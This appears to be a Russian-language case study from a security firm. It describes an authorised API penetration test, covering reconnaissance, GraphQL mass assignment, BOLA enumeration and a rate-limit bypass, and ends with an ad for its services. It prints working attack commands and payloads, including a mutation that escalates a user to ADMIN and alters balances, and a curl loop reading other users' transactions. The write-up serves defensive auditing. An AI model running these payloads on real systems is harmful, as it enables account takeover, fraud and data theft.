1. Разведка и маппинг поверхности атаки
Начало — пассивный сбор: Swagger/OpenAPI схемы через /api/docs, /graphql introspection, GitHub dorks для утечек схем. Активный фаззинг katana -u target.com -d 3 -jc выявил 47 уникальных эндпоинтов (23 REST, 24 GraphQL).
Ключевой фокус — операции изменения состояния: mutation в GraphQL, POST/PUT/PATCH/DELETE в REST. Найдено 31 мутация и 19 state-changing REST эндпоинтов.
# Рекон API
katana -u https://api.target.com -d 3 -jc -o recon.json
# Фаззинг эндпоинтов с авторизованным токеном
ffuf -u https://api.target.com/FUZZ -w /wordlists/api-endpoints.txt \
-mc 200,201,403 -H "Authorization: Bearer $TOKEN"
# GraphQL Introspection
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name type{name kind ofType{name}}}}}}"}'
2. GraphQL Mass Assignment (Critical)
В мутации updateUserProfile принимался объект input: UserProfileInput! без валидации разрешенных полей. Бэкенд (Prisma ORM) делал update({ where, data: input }) — массовое назначение всех переданных полей.
Добавив в запрос role: "ADMIN", isVerified: true, balance: 999999 — получили эскалацию привилегий и манипуляцию балансом.
mutation UpdateProfile($input: UserProfileInput!) {
updateUserProfile(input: $input) {
id
email
role
isVerified
balance
}
}
# Variables
{
"input": {
"firstName": "Hacker",
"role": "ADMIN", # <-- Injection
"isVerified": true, # <-- Injection
"balance": 999999 # <-- Injection
}
}
Эскалация привилегий
Обычный пользователь → ADMIN через один запрос
Финансовый ущерб
Манипуляция балансом, обход лимитов вывода
Обход верификации
isVerified: true без KYC/AML чеков
3. BOLA — Broken Object Level Authorization (Critical)
REST эндпоинт GET /api/v2/transactions/{id} проверял только наличие валидного JWT, но не владение ресурсом. Перебор id (UUID v4, но предсказуемый через timestamp-часть) дал доступ к чужим транзакциям: суммы, получатели, карты (masked), IP.
Аналогичная проблема в PATCH /api/v2/cards/{id} — можно было привязать чужую карту к своему аккаунту.
# Перебор ID транзакций (PoC)
for i in {1..100}; do
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
https://api.target.com/api/v2/transactions/$i | jq .amount
done
# Результат: 200 OK на чужих ID, полные данные карт/счетов
4. Rate Limit Bypass + Auth Confusion
Rate limiting на /auth/login и /auth/otp/send был по IP. Используя заголовки X-Forwarded-For, X-Real-IP, CF-Connecting-IP — обходили лимиты. Дополнительно: /auth/refresh принимал refresh token от любого клиента (нет привязки к device_id), позволяя угнать сессию через утечку токена в логах прокси.
5. Итоговые находки (Summary)
6. Ремедиация и результат
user.owns(resource)Все 3 Critical и 5 High закрыты за 48 часов. Перепроверка (retest) — 0 findings. Клиент прошёл PCI DSS ASV сканирование с первого раза.
Хотите такой же аудит вашего API?
Найдём Mass Assignment, BOLA, Broken Auth, Rate Limit bypass до того, как это сделают злоумышленники.
Заказать пентест API